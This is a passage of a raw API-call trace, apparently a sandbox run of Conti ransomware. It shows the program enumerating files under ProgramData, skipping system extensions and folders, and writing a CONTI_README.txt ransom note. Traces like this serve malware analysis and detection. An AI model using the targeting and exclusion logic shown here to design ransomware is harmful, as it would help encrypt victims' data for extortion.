	[0104.722] lstrcpyW (in: lpString1=0x17c3740, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger"
	[0104.722] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\"
	[0104.722] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\", lpString2="AutoLogger-Diagtrack-Listener.etl" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\AutoLogger-Diagtrack-Listener.etl") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ShutdownLogger\\AutoLogger-Diagtrack-Listener.etl"
	[0104.722] FindNextFileW (in: hFindFile=0x17c85f0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5242ffb7, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x5242ffb7, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x5242ffb7, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0104.722] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0104.722] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0104.722] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0104.722] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0104.722] FindNextFileW (in: hFindFile=0x17c85f0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5242ffb7, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x5242ffb7, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x5242ffb7, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0104.722] GetProcessHeap () returned 0x1720000
	[0104.722] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e3558 | out: hHeap=0x1720000) returned 1
	[0104.722] FindClose (in: hFindFile=0x17c85f0 | out: hFindFile=0x17c85f0) returned 1
	[0104.722] GetProcessHeap () returned 0x1720000
	[0104.722] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e41d8 | out: hHeap=0x1720000) returned 1
	[0104.722] FindNextFileW (in: hFindFile=0x17c8070, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2d6afbff, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x2d6afbff, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="ShutdownLogger", cAlternateFileName="SHUTDO~1")) returned 0
	[0104.722] GetProcessHeap () returned 0x1720000
	[0104.723] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0850 | out: hHeap=0x1720000) returned 1
	[0104.723] FindClose (in: hFindFile=0x17c8070 | out: hFindFile=0x17c8070) returned 1
	[0104.723] GetProcessHeap () returned 0x1720000
	[0104.723] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c1508 | out: hHeap=0x1720000) returned 1
	[0104.723] FindNextFileW (in: hFindFile=0x17c7fb0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b60b8d0, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b60b8d0, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x29662597, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x666666, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="Events_CostDeferred.rbs", cAlternateFileName="EVENTS~3.RBS")) returned 1
	[0104.723] lstrcmpiW (lpString1="Events_CostDeferred.rbs", lpString2=".") returned 1
	[0104.723] lstrcmpiW (lpString1="Events_CostDeferred.rbs", lpString2="..") returned 1
	[0104.723] StrStrIW (lpFirst="Events_CostDeferred.rbs", lpSrch=".CONTI") returned 0x0
	[0104.723] StrStrIW (lpFirst="Events_CostDeferred.rbs", lpSrch="CONTI_README.txt") returned 0x0
	[0104.723] StrStrIW (lpFirst="Events_CostDeferred.rbs", lpSrch=".exe") returned 0x0
	[0104.723] StrStrIW (lpFirst="Events_CostDeferred.rbs", lpSrch=".dll") returned 0x0
	[0104.723] StrStrIW (lpFirst="Events_CostDeferred.rbs", lpSrch=".lnk") returned 0x0
	[0104.723] StrStrIW (lpFirst="Events_CostDeferred.rbs", lpSrch=".sys") returned 0x0
	[0104.723] StrStrIW (lpFirst="Events_CostDeferred.rbs", lpSrch=".CONTI") returned 0x0
	[0104.723] StrStrIW (lpFirst="Events_CostDeferred.rbs", lpSrch="CONTI_README.txt") returned 0x0
	[0104.723] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis") returned 34
	[0104.723] lstrlenW (lpString="Events_CostDeferred.rbs") returned 23
	[0104.723] GetProcessHeap () returned 0x1720000
	[0104.723] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x76) returned 0x17e41d8
	[0104.723] lstrcpyW (in: lpString1=0x17e41d8, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis") returned="C:\\ProgramData\\Microsoft\\Diagnosis"
	[0104.723] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\"
	[0104.723] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\", lpString2="Events_CostDeferred.rbs" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\Events_CostDeferred.rbs") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\Events_CostDeferred.rbs"
	[0104.723] FindNextFileW (in: hFindFile=0x17c7fb0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b5e567a, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b5e567a, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x29662597, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x1000000, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="Events_Normal.rbs", cAlternateFileName="EVENTS~1.RBS")) returned 1
	[0104.723] lstrcmpiW (lpString1="Events_Normal.rbs", lpString2=".") returned 1
	[0104.723] lstrcmpiW (lpString1="Events_Normal.rbs", lpString2="..") returned 1
	[0104.723] StrStrIW (lpFirst="Events_Normal.rbs", lpSrch=".CONTI") returned 0x0
	[0104.724] StrStrIW (lpFirst="Events_Normal.rbs", lpSrch="CONTI_README.txt") returned 0x0
	[0104.724] StrStrIW (lpFirst="Events_Normal.rbs", lpSrch=".exe") returned 0x0
	[0104.724] StrStrIW (lpFirst="Events_Normal.rbs", lpSrch=".dll") returned 0x0
	[0104.724] StrStrIW (lpFirst="Events_Normal.rbs", lpSrch=".lnk") returned 0x0
	[0104.724] StrStrIW (lpFirst="Events_Normal.rbs", lpSrch=".sys") returned 0x0
	[0104.724] StrStrIW (lpFirst="Events_Normal.rbs", lpSrch=".CONTI") returned 0x0
	[0104.724] StrStrIW (lpFirst="Events_Normal.rbs", lpSrch="CONTI_README.txt") returned 0x0
	[0104.724] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis") returned 34
	[0104.724] lstrlenW (lpString="Events_Normal.rbs") returned 17
	[0104.724] GetProcessHeap () returned 0x1720000
	[0104.724] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x6a) returned 0x1740988
	[0104.724] lstrcpyW (in: lpString1=0x1740988, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis") returned="C:\\ProgramData\\Microsoft\\Diagnosis"
	[0104.724] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\"
	[0104.724] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\", lpString2="Events_Normal.rbs" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\Events_Normal.rbs") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\Events_Normal.rbs"
	[0104.724] FindNextFileW (in: hFindFile=0x17c7fb0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b60b8d0, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b60b8d0, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x29662597, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x666666, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="Events_NormalCritical.rbs", cAlternateFileName="EVENTS~2.RBS")) returned 1
	[0104.724] lstrcmpiW (lpString1="Events_NormalCritical.rbs", lpString2=".") returned 1
	[0104.724] lstrcmpiW (lpString1="Events_NormalCritical.rbs", lpString2="..") returned 1
	[0104.724] StrStrIW (lpFirst="Events_NormalCritical.rbs", lpSrch=".CONTI") returned 0x0
	[0104.724] StrStrIW (lpFirst="Events_NormalCritical.rbs", lpSrch="CONTI_README.txt") returned 0x0
	[0104.724] StrStrIW (lpFirst="Events_NormalCritical.rbs", lpSrch=".exe") returned 0x0
	[0104.724] StrStrIW (lpFirst="Events_NormalCritical.rbs", lpSrch=".dll") returned 0x0
	[0104.724] StrStrIW (lpFirst="Events_NormalCritical.rbs", lpSrch=".lnk") returned 0x0
	[0104.724] StrStrIW (lpFirst="Events_NormalCritical.rbs", lpSrch=".sys") returned 0x0
	[0104.724] StrStrIW (lpFirst="Events_NormalCritical.rbs", lpSrch=".CONTI") returned 0x0
	[0104.724] StrStrIW (lpFirst="Events_NormalCritical.rbs", lpSrch="CONTI_README.txt") returned 0x0
	[0104.724] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis") returned 34
	[0104.724] lstrlenW (lpString="Events_NormalCritical.rbs") returned 25
	[0104.725] GetProcessHeap () returned 0x1720000
	[0104.725] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7a) returned 0x176bf90
	[0104.725] lstrcpyW (in: lpString1=0x176bf90, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis") returned="C:\\ProgramData\\Microsoft\\Diagnosis"
	[0104.725] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\"
	[0104.725] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\", lpString2="Events_NormalCritical.rbs" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\Events_NormalCritical.rbs") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\Events_NormalCritical.rbs"
	[0104.725] FindNextFileW (in: hFindFile=0x17c7fb0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b60b8d0, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b60b8d0, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x29662597, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x333333, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="Events_Realtime.rbs", cAlternateFileName="EVENTS~4.RBS")) returned 1
	[0104.725] lstrcmpiW (lpString1="Events_Realtime.rbs", lpString2=".") returned 1
	[0104.725] lstrcmpiW (lpString1="Events_Realtime.rbs", lpString2="..") returned 1
	[0104.725] StrStrIW (lpFirst="Events_Realtime.rbs", lpSrch=".CONTI") returned 0x0
	[0104.725] StrStrIW (lpFirst="Events_Realtime.rbs", lpSrch="CONTI_README.txt") returned 0x0
	[0104.725] StrStrIW (lpFirst="Events_Realtime.rbs", lpSrch=".exe") returned 0x0
	[0104.725] StrStrIW (lpFirst="Events_Realtime.rbs", lpSrch=".dll") returned 0x0
	[0104.725] StrStrIW (lpFirst="Events_Realtime.rbs", lpSrch=".lnk") returned 0x0
	[0104.725] StrStrIW (lpFirst="Events_Realtime.rbs", lpSrch=".sys") returned 0x0
	[0104.725] StrStrIW (lpFirst="Events_Realtime.rbs", lpSrch=".CONTI") returned 0x0
	[0104.725] StrStrIW (lpFirst="Events_Realtime.rbs", lpSrch="CONTI_README.txt") returned 0x0
	[0104.725] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis") returned 34
	[0104.725] lstrlenW (lpString="Events_Realtime.rbs") returned 19
	[0104.725] GetProcessHeap () returned 0x1720000
	[0104.725] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x6e) returned 0x1740a00
	[0104.725] lstrcpyW (in: lpString1=0x1740a00, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis") returned="C:\\ProgramData\\Microsoft\\Diagnosis"
	[0104.725] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\"
	[0104.725] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\", lpString2="Events_Realtime.rbs" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\Events_Realtime.rbs") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\Events_Realtime.rbs"
	[0104.725] FindNextFileW (in: hFindFile=0x17c7fb0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a029c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="LocalTraceStore", cAlternateFileName="LOCALT~1")) returned 1
	[0104.725] lstrcmpiW (lpString1="LocalTraceStore", lpString2=".") returned 1
	[0104.725] lstrcmpiW (lpString1="LocalTraceStore", lpString2="..") returned 1
	[0104.725] lstrcmpiW (lpString1="LocalTraceStore", lpString2="tmp") returned -1
	[0104.726] lstrcmpiW (lpString1="LocalTraceStore", lpString2="winnt") returned -1
	[0104.726] lstrcmpiW (lpString1="LocalTraceStore", lpString2="Application Data") returned 1
	[0104.726] lstrcmpiW (lpString1="LocalTraceStore", lpString2="AppData") returned 1
	[0104.726] lstrcmpiW (lpString1="LocalTraceStore", lpString2="temp") returned -1
	[0104.726] lstrcmpiW (lpString1="LocalTraceStore", lpString2="thumb") returned -1
	[0104.726] lstrcmpiW (lpString1="LocalTraceStore", lpString2="$Recycle.Bin") returned 1
	[0104.726] lstrcmpiW (lpString1="LocalTraceStore", lpString2="$RECYCLE.BIN") returned 1
	[0104.726] lstrcmpiW (lpString1="LocalTraceStore", lpString2="System Volume Information") returned -1
	[0104.726] lstrcmpiW (lpString1="LocalTraceStore", lpString2="Program Files") returned -1
	[0104.726] lstrcmpiW (lpString1="LocalTraceStore", lpString2="Program Files (x86)") returned -1
	[0104.726] lstrcmpiW (lpString1="LocalTraceStore", lpString2="Boot") returned 1
	[0104.726] lstrcmpiW (lpString1="LocalTraceStore", lpString2="Windows") returned -1
	[0104.726] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis") returned 34
	[0104.726] lstrlenW (lpString="LocalTraceStore") returned 15
	[0104.726] GetProcessHeap () returned 0x1720000
	[0104.726] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x66) returned 0x1740ea0
	[0104.726] lstrcpyW (in: lpString1=0x1740ea0, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis") returned="C:\\ProgramData\\Microsoft\\Diagnosis"
	[0104.726] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\"
	[0104.726] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\", lpString2="LocalTraceStore" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\LocalTraceStore") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\LocalTraceStore"
	[0104.726] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\LocalTraceStore") returned 50
	[0104.726] GetProcessHeap () returned 0x1720000
	[0104.726] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x6a) returned 0x1740be0
	[0104.726] lstrcpyW (in: lpString1=0x1740be0, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\LocalTraceStore" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\LocalTraceStore") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\LocalTraceStore"
	[0104.726] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\LocalTraceStore", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\LocalTraceStore\\*") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\LocalTraceStore\\*"
	[0104.726] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\LocalTraceStore") returned 50
	[0104.726] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0104.726] GetProcessHeap () returned 0x1720000
	[0104.726] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x88) returned 0x17c97c0
	[0104.726] lstrcpyW (in: lpString1=0x17c97c0, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\LocalTraceStore" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\LocalTraceStore") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\LocalTraceStore"
	[0104.726] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\LocalTraceStore", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\LocalTraceStore\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\LocalTraceStore\\"
	[0104.726] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\LocalTraceStore\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\LocalTraceStore\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\LocalTraceStore\\CONTI_README.txt"
	[0104.726] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\LocalTraceStore\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\diagnosis\\localtracestore\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0104.727] GetProcessHeap () returned 0x1720000
	[0104.727] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c97c0 | out: hHeap=0x1720000) returned 1
	[0104.727] WriteFile (in: hFile=0x324, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0104.727] CloseHandle (hObject=0x324) returned 1
	[0104.728] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\LocalTraceStore\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a029c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5242ffb7, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8230
	[0104.728] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0104.728] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a029c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5242ffb7, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0104.728] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0104.728] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0104.728] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5242ffb7, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x5242ffb7, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x5242ffb7, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0104.728] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0104.728] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0104.728] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0104.728] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0104.728] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5242ffb7, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x5242ffb7, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x5242ffb7, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0104.728] GetProcessHeap () returned 0x1720000
	[0104.728] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740be0 | out: hHeap=0x1720000) returned 1
	[0104.728] FindClose (in: hFindFile=0x17c8230 | out: hFindFile=0x17c8230) returned 1
	[0104.728] GetProcessHeap () returned 0x1720000
	[0104.728] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740ea0 | out: hHeap=0x1720000) returned 1
	[0104.728] FindNextFileW (in: hFindFile=0x17c7fb0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a3dd985, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8a3dd985, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x28facbb4, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0xa, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="osver.txt", cAlternateFileName="")) returned 1
	[0104.728] lstrcmpiW (lpString1="osver.txt", lpString2=".") returned 1
	[0104.728] lstrcmpiW (lpString1="osver.txt", lpString2="..") returned 1
	[0104.728] StrStrIW (lpFirst="osver.txt", lpSrch=".CONTI") returned 0x0
	[0104.728] StrStrIW (lpFirst="osver.txt", lpSrch="CONTI_README.txt") returned 0x0
	[0104.728] StrStrIW (lpFirst="osver.txt", lpSrch=".exe") returned 0x0
	[0104.728] StrStrIW (lpFirst="osver.txt", lpSrch=".dll") returned 0x0
	[0104.728] StrStrIW (lpFirst="osver.txt", lpSrch=".lnk") returned 0x0
	[0104.729] StrStrIW (lpFirst="osver.txt", lpSrch=".sys") returned 0x0
	[0104.729] StrStrIW (lpFirst="osver.txt", lpSrch=".CONTI") returned 0x0
	[0104.729] StrStrIW (lpFirst="osver.txt", lpSrch="CONTI_README.txt") returned 0x0
	[0104.729] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis") returned 34
	[0104.729] lstrlenW (lpString="osver.txt") returned 9
	[0104.729] GetProcessHeap () returned 0x1720000
	[0104.729] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x17c0a58
	[0104.729] lstrcpyW (in: lpString1=0x17c0a58, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis") returned="C:\\ProgramData\\Microsoft\\Diagnosis"
	[0104.729] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\"
	[0104.729] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\", lpString2="osver.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\osver.txt") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\osver.txt"
	[0104.729] FindNextFileW (in: hFindFile=0x17c7fb0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfbb1de, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8bfbb1de, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8bfbb1de, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="parse.dat", cAlternateFileName="")) returned 1
	[0104.729] lstrcmpiW (lpString1="parse.dat", lpString2=".") returned 1
	[0104.729] lstrcmpiW (lpString1="parse.dat", lpString2="..") returned 1
	[0104.729] StrStrIW (lpFirst="parse.dat", lpSrch=".CONTI") returned 0x0
	[0104.729] StrStrIW (lpFirst="parse.dat", lpSrch="CONTI_README.txt") returned 0x0
	[0104.729] StrStrIW (lpFirst="parse.dat", lpSrch=".exe") returned 0x0
	[0104.729] StrStrIW (lpFirst="parse.dat", lpSrch=".dll") returned 0x0
	[0104.729] StrStrIW (lpFirst="parse.dat", lpSrch=".lnk") returned 0x0
	[0104.729] StrStrIW (lpFirst="parse.dat", lpSrch=".sys") returned 0x0
	[0104.729] StrStrIW (lpFirst="parse.dat", lpSrch=".CONTI") returned 0x0
